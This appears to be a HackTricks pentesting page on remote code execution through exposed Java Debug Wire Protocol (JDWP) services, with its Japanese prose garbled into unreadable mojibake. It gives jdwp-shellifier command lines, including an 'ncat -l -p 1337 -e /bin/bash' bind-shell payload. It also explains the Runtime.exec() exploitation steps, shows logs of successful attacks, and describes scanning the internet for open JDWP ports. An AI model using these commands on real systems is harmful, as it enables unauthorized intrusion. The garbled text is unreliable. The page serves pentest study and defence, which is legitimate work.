23 KiB
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãèŠã€ããŠãã ãããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
-
å ¬åŒã®PEASSïŒHackTricksã®ã°ããºãæã«å ¥ããŸãããã
-
ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitterã§ãã©ããŒããŠãã ããðŠ@carlospolopmã
-
**ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricksãªããžããªãšhacktricks-cloudãªããžããª**ã«PRãæåºããŠãã ããã
Exploiting
https://github.com/IOActive/jdwp-shellifierã«ããPythonã®ãšã¯ã¹ããã€ãã䜿çšããããšãã§ããŸãã
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
ç§ã¯ã--break-on 'java.lang.String.indexOf'
ã®äœ¿çšã«ããããšã¯ã¹ããã€ããããå®å®ããããšãçºèŠããŸããããŸããã³ãã³ããå®è¡ãã代ããã«ããã¯ãã¢ããã¹ãã«ã¢ããããŒãããŠå®è¡ããããšãã§ããã°ããšã¯ã¹ããã€ãã¯ããã«å®å®ããŸãã
éåžžããã®ãããã¬ã¯ããŒã8000ã§å®è¡ãããããŒããšã®TCPæ¥ç¶ã確ç«ãã"JDWP-Handshake"ãéä¿¡ãããšããµãŒããŒã¯åãæååã§å¿çããã¯ãã§ãã
ãŸãããã®æååããããã¯ãŒã¯äžã§ãã§ãã¯ããŠãå¯èœãªJDWPãµãŒãã¹ãèŠã€ããããšãã§ããŸãã
ããã»ã¹ã®äžèŠ§ã衚瀺ããjavaããã»ã¹å ã«æåå"jdwk"ãèŠã€ãã£ãå ŽåãããããJava Debug Wired Protocolãã¢ã¯ãã£ãã«ãªã£ãŠããã暪æ¹åã«ç§»åããããç¹æš©ãææ Œãããããšãã§ãããããããŸããïŒrootãšããŠå®è¡ãããå ŽåïŒã
詳现
ã³ããŒå ïŒhttps://ioactive.com/hacking-java-debug-wire-protocol-or-how/
Java Debug Wire Protocol
Java Platform Debug Architecture (JPDA)ïŒJDWPã¯ãJava Platform Debug Architecture (JPDA)[2]ãšåŒã°ããã°ããŒãã«ãªJavaãããã°ã·ã¹ãã ã®1ã€ã®ã³ã³ããŒãã³ãã§ãã以äžã¯å šäœã®ã¢ãŒããã¯ãã£ã®ãã€ã¢ã°ã©ã ã§ãïŒ
ãããã¬ã¯ãã¿ãŒã²ããã¢ããªã±ãŒã·ã§ã³ãå®è¡ãããã«ãã¹ã¬ããã®JVMã§æ§æãããŠããŸãããªã¢ãŒããããã°ãå¯èœã«ãªãããã«ã¯ãJVMã€ã³ã¹ã¿ã³ã¹ãã³ãã³ãã©ã€ã³ã§æ瀺çã«ãªãã·ã§ã³-Xdebugãšãšãã«éå§ããå¿ èŠããããŸãããŸãããªãã·ã§ã³-XrunjdwpïŒãŸãã¯-agentlibïŒãæå®ããå¿ èŠããããŸããããšãã°ããªã¢ãŒããããã°ãæå¹ã«ãªã£ãŠããTomcatãµãŒããŒãèµ·åããå Žåã¯ã次ã®ããã«ãªããŸãïŒ
ã¢ãŒããã¯ãã£ãã€ã¢ã°ã©ã ã«ç€ºãããŠããããã«ãJava Debug Wire Protocolã¯ãããã¬ãšJVMã€ã³ã¹ã¿ã³ã¹ã®äžå€®ãªã³ã¯ã§ãããããã³ã«ã«é¢ãã芳å¯çµæã¯æ¬¡ã®ãšããã§ãïŒ
- ãã±ããããŒã¹ã®ãããã¯ãŒã¯ãã€ããªãããã³ã«ã§ãã
- ã»ãšãã©åæçã§ãããããã¬ã¯JDWPãä»ããŠã³ãã³ããéä¿¡ããå¿çãåãåãããšãæåŸ ããŸãããã ããã€ãã³ããªã©ã®äžéšã®ã³ãã³ãã¯åæçãªå¿çãæåŸ ããŸãããç¹å®ã®æ¡ä»¶ãæºãããããšãã«å¿çãéä¿¡ããŸããããšãã°ããã¬ãŒã¯ãã€ã³ãã¯ã€ãã³ãã§ãã
- èªèšŒã¯äœ¿çšããŸããã
- æå·åã¯äœ¿çšããŸããã
ãããã®èŠ³å¯çµæã¯ããããã°ãããã³ã«ã«ã€ããŠè©±ããŠãããããå®å
šã«çã«ããªã£ãŠããŸãããã ãããã®ãããªãµãŒãã¹ãæµå¯Ÿçãªãããã¯ãŒã¯ã«å
¬éãããããã€ã³ã¿ãŒãããã«é¢ããŠããå Žåãåé¡ãçºçããå¯èœæ§ããããŸãã
ãã³ãã·ã§ã€ã¯ïŒJDWPã¯[9]ãéä¿¡ã¯ã·ã³ãã«ãªãã³ãã·ã§ã€ã¯ã«ãã£ãŠéå§ãããå¿
èŠããããšèŠå®ããŠããŸããTCPæ¥ç¶ãæåãããšããããã¬ïŒã¯ã©ã€ã¢ã³ãïŒã¯14æåã®ASCIIæåå"JDWP-Handshake"ãéä¿¡ããŸãããããã¬ïŒãµãŒããŒïŒã¯ãã®ã¡ãã»ãŒãžã«å¯ŸããŠãŸã£ããåãæååãéä¿¡ããŠå¿çããŸãã次ã®scapy[3]ãã¬ãŒã¹ã¯ãåæã®åæ¹åãã³ãã·ã§ã€ã¯ã瀺ããŠããŸãïŒ
root:~/tools/scapy-hg # ip addr show dev eth0 | grep âinet â inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy
Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=âtcp port 8000 and host 192.168.2.9â³, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
çµéšè±å¯ãªã»ãã¥ãªãã£ç£æ»äººã¯ããã®ãããªã·ã³ãã«ãªãã³ãã·ã§ã€ã¯ãã€ã³ã¿ãŒãããäžã®ã©ã€ãJDWPãµãŒãã¹ãç°¡åã«çºèŠããæ¹æ³ãæäŸããŠããããšã«ãã§ã«æ°ã¥ããŠãããããããŸãããåçŽãªãããŒããéä¿¡ããŠç¹å®ã®å¿çã確èªããã ãã§ããããã«èå³æ·±ãããšã«ãIBM Java Development Kitã§ShodanHQ[4]ã䜿çšããŠã¹ãã£ã³ããéã«ããµãŒããŒãæåã«åããããŒã§"話ããŠãã"ãšããåäœã芳å¯ãããŸããããã®çµæãã¢ã¯ãã£ããªJDWPãµãŒãã¹ãå®å
šã«ååçã«çºèŠããæ¹æ³ããããŸãïŒãã®èšäºã§ã¯ãïŒæªåé«ãïŒShodanã®å©ããåããŠåŸã§èª¬æããŸãïŒã
éä¿¡ïŒJDWPã¯ããããã¬ãšãããã®ãŒéã®éä¿¡ã«é¢äžããã¡ãã»ãŒãž[10]ãå®çŸ©ããŠããŸããã¡ãã»ãŒãžã¯æ¬¡ã®ãããªåçŽãªæ§é ã«åŸããŸãïŒ
LengthãšIdãã£ãŒã«ãã¯èªæã§ããFlagãã£ãŒã«ãã¯ããªã¯ãšã¹ããã±ãããšå¿çãã±ãããåºå¥ããããã«ã®
- VirtualMachine/CreateStringã¯ãæååãJVMã©ã³ã¿ã€ã å ã«ååšããjava.lang.Stringã«å€æããããšãã§ããŸãã
- VirtualMachine/RedefineClassesã¯ãæ°ããã¯ã©ã¹å®çŸ©ãã€ã³ã¹ããŒã«ããããšãã§ããŸãã
ããã¹ãŠã®JDWPã¯ç§ãã¡ã®ãã®ã§ãã
ç§ãã¡ãèŠãŠããããã«ãJDWPã¯ä»»æã®ã¯ã©ã¹ãJVMã¡ã¢ãªã«ããŒãããæ¢åã®ããã³/ãŸãã¯æ°ããããŒãããããã€ãã³ãŒããåŒã³åºãããã®çµã¿èŸŒã¿ã³ãã³ããæäŸããŠããŸãã次ã®ã»ã¯ã·ã§ã³ã§ã¯ãPythonã§ã®æ»æã³ãŒãã®äœææé ã«ã€ããŠèª¬æããŸããããã¯ãJDIããã³ããšã³ãã®éšåçãªå®è£ ãšããŠåäœããã§ããã ãä¿¡é Œæ§ã®é«ããã®ã«ãªãããã«ããŸããã¹ã¿ã³ãã¢ãã³ã®ãšã¯ã¹ããã€ãã¹ã¯ãªããã®äž»ãªçç±ã¯ããã³ãã¹ã¿ãŒãšããŠãããããã·ã§ããããšã¯ã¹ããã€ãã奜ãã ããã§ããã€ãŸããç°å¢/ã¢ããªã±ãŒã·ã§ã³/ãããã³ã«ãè匱ã§ããããšã確å®ãªå Žåãããã«ãããæ»æããããã®ããŒã«ãçšæããŠããããã®ã§ãïŒã€ãŸãããããŸã§ååšããŠããå¯äžã®ãã®ã§ããPoCã¯ãããŸããïŒããããã£ãŠãçè«ãã«ããŒããã®ã§ãå®éã®å®è£ ã«å ¥ããŸãããããªãŒãã³ãªJDWPãµãŒãã¹ã«çŽé¢ããå Žåãä»»æã®ã³ãã³ãã®å®è¡ã¯æ£ç¢ºã«5ã€ã®ã¹ãããå ïŒãŸãã¯ãã®ãšã¯ã¹ããã€ãã§ã¯ãããã1ã€ã®ã³ãã³ãã©ã€ã³å ïŒã§ãã以äžã¯ããã®æé ã§ãã
-
Javaã©ã³ã¿ã€ã ã®åç §ãååŸããJVMã¯ãªããžã§ã¯ããåç §ãä»ããŠæäœããŸãããã®ããããšã¯ã¹ããã€ãã¯ãŸãjava.lang.Runtimeã¯ã©ã¹ãžã®åç §ãååŸããå¿ èŠããããŸãããã®ã¯ã©ã¹ãããgetRuntime()ã¡ãœãããžã®åç §ãå¿ èŠã§ããããã¯ããã¹ãŠã®ã¯ã©ã¹ïŒAllClassesãã±ããïŒãšãæ¢ããŠããã¯ã©ã¹ã®ãã¹ãŠã®ã¡ãœããïŒReferenceType/Methodsãã±ããïŒãååŸããããšã«ãã£ãŠå®è¡ãããŸãã
-
ãã¬ãŒã¯ãã€ã³ãã®èšå®ãšéç¥ã®åŸ æ©ïŒéåæåŒã³åºãïŒããããšã¯ã¹ããã€ãã®éµã§ããä»»æã®ã³ãŒããåŒã³åºãã«ã¯ãå®è¡äžã®ã¹ã¬ããã³ã³ããã¹ãã«ããå¿ èŠããããŸãããã®ããã«ã¯ãå®è¡æã«åŒã³åºãããããšãããã£ãŠããã¡ãœããã«ãã¬ãŒã¯ãã€ã³ããèšå®ãããšããããã¯ããããŸããå ã»ã©èŠãããã«ãJDIã®ãã¬ãŒã¯ãã€ã³ãã¯éåæã€ãã³ãã§ããããã®ã¿ã€ãã¯BREAKPOINTïŒ0x02ïŒã«èšå®ãããŸããããããããšãJVMã¯ç§ãã¡ã®ãããã¬ã«EventDataãã±ãããéä¿¡ãããã¬ãŒã¯ãã€ã³ãã®IDãšããã«éèŠãªã®ã¯ãããããããããã¹ã¬ãããžã®åç §ãå«ãã§ããŸãã
ãããã£ãŠãjava.net.ServerSocket.accept()ãªã©ãé »ç¹ã«åŒã³åºãããã¡ãœããã«èšå®ããããšã¯è¯ãèãã§ããããã¯ããµãŒããŒãæ°ãããããã¯ãŒã¯æ¥ç¶ãåãåããã³ã«åŒã³åºãããå¯èœæ§ãéåžžã«é«ãã§ãããã ããå®è¡æã«ååšããä»»æã®ã¡ãœããã§ããå¯èœæ§ãããããšã念é ã«çœ®ããŠããå¿ èŠããããŸãã
-
ãã€ããŒããå®è¡ããããã«ã©ã³ã¿ã€ã å ã§Javaã®Stringãªããžã§ã¯ããå²ãåœãŠãJVMã©ã³ã¿ã€ã ã§ã³ãŒããå®è¡ãããããç§ãã¡ã®æäœå¯Ÿè±¡ã®ããŒã¿ïŒæååãªã©ïŒã¯ãã¹ãŠJVMã©ã³ã¿ã€ã ã«ååšããå¿ èŠããããŸãïŒã€ãŸããã©ã³ã¿ã€ã åç §ãæã£ãŠããå¿ èŠããããŸãïŒãããã¯ãCreateStringã³ãã³ããéä¿¡ããããšã§éåžžã«ç°¡åã«è¡ãããŸãã
-
ãã¬ãŒã¯ãã€ã³ãã³ã³ããã¹ãããã©ã³ã¿ã€ã ãªããžã§ã¯ããååŸãã®æç¹ã§ãæåããä¿¡é Œæ§ã®é«ããšã¯ã¹ããã€ãã«å¿ èŠãªèŠçŽ ã®ã»ãšãã©ãæã£ãŠããŸããäžè¶³ããŠããã®ã¯ã©ã³ã¿ã€ã ãªããžã§ã¯ãã®åç §ã§ãããããååŸããããšã¯ç°¡åã§ãJVMã©ã³ã¿ã€ã ã§åçŽã«java.lang.Runtime.getRuntime()éçã¡ãœãã[8]ãå®è¡ããããšãã§ããŸããããã¯ãClassType/InvokeMethodãã±ãããéä¿¡ããRuntimeã¯ã©ã¹ãšã¹ã¬ããã®åç §ãæäŸããããšã§è¡ãããŸãã
-
ã©ã³ã¿ã€ã ã€ã³ã¹ã¿ã³ã¹ã§exec()ã¡ãœãããæ€çŽ¢ããŠåŒã³åºãæåŸã®ã¹ãããã¯ãåã®ã¹ãããã§ååŸããRuntimeéçãªããžã§ã¯ãã§exec()ã¡ãœãããæ€çŽ¢ãïŒObjectReference/InvokeMethodãã±ãããéä¿¡ããããšã§ïŒãã¹ããã3ã§äœæããStringãªããžã§ã¯ãã䜿çšããŠåŒã³åºãããšã§ãã
Et voilà !! ç°¡åã§è¿ éã§ãããã¢ã³ã¹ãã¬ãŒã·ã§ã³ãšããŠãJPDAããããã°ã¢ãŒãããæå¹ãªTomcatãèµ·åããŸãã
root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
ã³ãã³ããå®è¡ããã«ã¹ã¯ãªãããå®è¡ããåã«äžè¬çãªã·ã¹ãã æ å ±ãååŸããŸãã
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting â192.168.2.9:8000â
[+] Reading settings for âJava HotSpot(TM) 64-Bit Server VM â 1.6.0_65â
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on âjava.net.ServerSocket.acceptâ## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System âMac OS Xâ
[+] Found User name âpentestosxâ
[+] Found ClassPath â/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jarâ
[+] Found User home directory â/Users/pentestosxâ
[!] Command successfully executed
åãã³ãã³ãã©ã€ã³ã§ãããWindowsã·ã¹ãã ã«å¯ŸããŠå®è¡ããå®å šã«ç°ãªãã¡ãœããã§äžæããŸãã
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 âbreak-on âjava.lang.String.indexOfâ
[+] Targeting â192.168.2.8:8000â
[+] Reading settings for âJava HotSpot(TM) Client VM â 1.7.0_51â
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on âjava.lang.String.indexOfâ
[+] Received matching event from thread 0x8f5
[+] Found Operating System âWindows 7â
[+] Found User name âhugsyâ
[+] Found ClassPath âC:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jarâ
[+] Found User home directory âC:Usershugsyâ
[!] Command successfully executed
ç§ãã¡ã¯ãLinuxã·ã¹ãã ã«å¯ŸããŠãã€ããŒããncat -e /bin/bash -l -p 1337ãã䜿çšããŠãã€ã³ãã·ã§ã«ãçæããããã®ãšã¯ã¹ããã€ããå®è¡ããŸãã
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 âcmd âncat -l -p 1337 -e /bin/bashâ
[+] Targeting â192.168.2.8:8000â
[+] Reading settings for âOpenJDK Client VM â 1.6.0_27â
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on âjava.net.ServerSocket.acceptâ
[+] Received matching event from thread 0x82a[+] Selected payload âncat -l -p 1337 -e /bin/bashâ
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
æçµçãªãšã¯ã¹ããã€ãã¯ããããã®æè¡ã䜿çšããããã€ãã®ãã§ãã¯ãè¿œå ããäžæãæå°éã«æããããã«äžæ/åéã·ã°ãã«ãéä¿¡ããŸãïŒäœæ¥äžã®ã¢ããªã±ãŒã·ã§ã³ãå£ããªãæ¹ãåžžã«æåã§ãããïŒïŒããã®ãšã¯ã¹ããã€ãã¯2ã€ã®ã¢ãŒãã§åäœããŸãïŒ
- ãããã©ã«ããã¢ãŒãã¯å®å šã«é䟵襲çã§ãããåã«Javaã³ãŒããå®è¡ããŠããŒã«ã«ã·ã¹ãã æ å ±ãååŸããŸãïŒã¯ã©ã€ã¢ã³ããžã®PoCã«æé©ã§ãïŒã
- ãcmdããªãã·ã§ã³ãæž¡ããšããªã¢ãŒããã¹ãã§ã·ã¹ãã ã³ãã³ããå®è¡ãããã䟵襲çã«ãªããŸããã³ãã³ãã¯JVMãå®è¡ãããŠããç¹æš©ã§å®è¡ãããŸãã
ãã®ãšã¯ã¹ããã€ãã¹ã¯ãªããã¯ã次ã®ç°å¢ã§æ£åžžã«ãã¹ããããŸããïŒ
- Oracle Java JDK 1.6ããã³1.7
- OpenJDK 1.6
- IBM JDK 1.6
Javaã¯èšèšäžãã©ãããã©ãŒã ã«äŸåããªããããJavaããµããŒãããä»»æã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã§ã³ãã³ããå®è¡ã§ããŸããããã¯ç§ãã¡ã®ãã³ãã¹ã¿ãŒã«ãšã£ãŠå®ã«è¯ããã¥ãŒã¹ã§ãïŒãªãŒãã³ãªJDWPãµãŒãã¹ã¯ä¿¡é Œæ§ã®ããRCEãæå³ããŸãããããŸã§ã®ãšãããé 調ã§ãã
å®éã®æ»æã«ã€ããŠã¯ã©ãã§ããããïŒ
å®éã®ãšãããJDWPã¯Javaã¢ããªã±ãŒã·ã§ã³ã®äžçã§ããªã䜿çšãããŠããŸãããã ãããªã¢ãŒãè©äŸ¡ãå®è¡ããéã«ã¯ããã¡ã€ã¢ãŠã©ãŒã«ãïŒãããŠãã¹ãã§ããïŒã»ãšãã©ã®å Žåãå®è¡ãããŠããããŒãããããã¯ããããããã³ãã¹ã¿ãŒã¯ãããããŸãé »ç¹ã«èŠãããšã¯ãªããããããŸãããããããããã¯JDWPãå®éã«ååšããªãããšãæå³ããŸããïŒ
- ãã®èšäºãæžããŠããæç¹ã§ãShodanHQ[4]ã§ã®ã¯ã€ãã¯æ€çŽ¢ã¯ãJDWPãã³ãã·ã§ã€ã¯ãéä¿¡ããŠããçŽ40å°ã®ãµãŒããŒãããã«è¡šç€ºãããŸãïŒ
ããã¯å®éã«èå³æ·±ãçºèŠã§ããåã«èŠãããã«ã察話ãéå§ããã®ã¯ã¯ã©ã€ã¢ã³ãåŽïŒãããã¬ïŒã§ããã¯ãã§ãã
- GitHub[7]ã§ããæœåšçã«è匱ãªãªãŒãã³ãœãŒã¹ã¢ããªã±ãŒã·ã§ã³ã®æ°ãå€ãèŠã€ãããŸãïŒ
- ç¹å®ã®ããŒãïŒtcp/8000ãtcp/8080ãtcp/8787ãtcp/5005ïŒãæ¢ãããã«ã€ã³ã¿ãŒããããmasscanã§ã¹ãã£ã³ãããšãå€ãã®ãã¹ãïŒããã§ã¯å ±åã§ããŸããïŒãæåã®ãã³ãã·ã§ã€ã¯ã«å¿çããããšãããããŸããã
- ããšã³ã¿ãŒãã©ã€ãºãã¢ããªã±ãŒã·ã§ã³ã¯ãJDWPãµãŒãã¹ãããã©ã«ãã§å®è¡ããŠããç¶æ ã§èŠã€ãããŸããïŒå®éã®ããŒãçªå·ã®æ€åºã¯ã奜å¥å¿ã®ããèªè ã«å§ããããŠããŸãïŒã
ããã¯ã€ã³ã¿ãŒãããäžã§ãªãŒãã³ãªJDWPãµãŒãã¹ãçºèŠããããã®ããã€ãã®æ¹æ³ã«ãããŸãããããã¯ãã¢ããªã±ãŒã·ã§ã³ãå®æçã«åŸ¹åºçãªã»ãã¥ãªãã£ã¬ãã¥ãŒãåããã¹ãã§ãããæ¬çªç°å¢ã§ã¯ãããã°æ©èœããªãã«ãããã¡ã€ã¢ãŠã©ãŒã«ãæ£åžžãªåäœã«å¿ èŠãªãµãŒãã¹ãžã®ã¢ã¯ã»ã¹ã«å¶éããããã«æ§æããå¿ èŠãããããšãæãåºãããè¯ãäŸã§ããJDWPãµãŒãã¹ã«èª°ã§ãæ¥ç¶ã§ããããã«ããããšã¯ãgdbserverãµãŒãã¹ã«æ¥ç¶ãèš±å¯ããã®ãšãŸã£ããåãã§ãïŒããå®å®ããæ¹æ³ãããããŸããïŒãJDWPã§éã¶ã®ã楜ããã§ããã ããã°å¹žãã§ãããã¹ãŠã®ãã€ã¬ãŒãã«ãJDWPã®æ»ç¥ã楜ããã§ãã ããïŒïŒ
è¬èŸ
Ilja Van SprundelãããšSebastien Mackeããã«ã¯ãã¢ã€ãã¢ãšãã¹ãã«æè¬ããããŸãã
åèæç®:
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§ããªãã®äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒãããããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãçºèŠããŸããããç§ãã¡ã®ç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³
-
å ¬åŒã®PEASSïŒHackTricksã®ã¹ãŠã§ãããæã«å ¥ããŸããã
-
**ð¬ Discordã°ã«ãŒããŸãã¯Telegramã°ã«ãŒãã«åå ããããTwitter ðŠ@carlospolopmããã©ããŒããŠãã ããã
-
ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricksãªããžããªãšhacktricks-cloudãªããžããªã«PRãæåºããŠãã ããã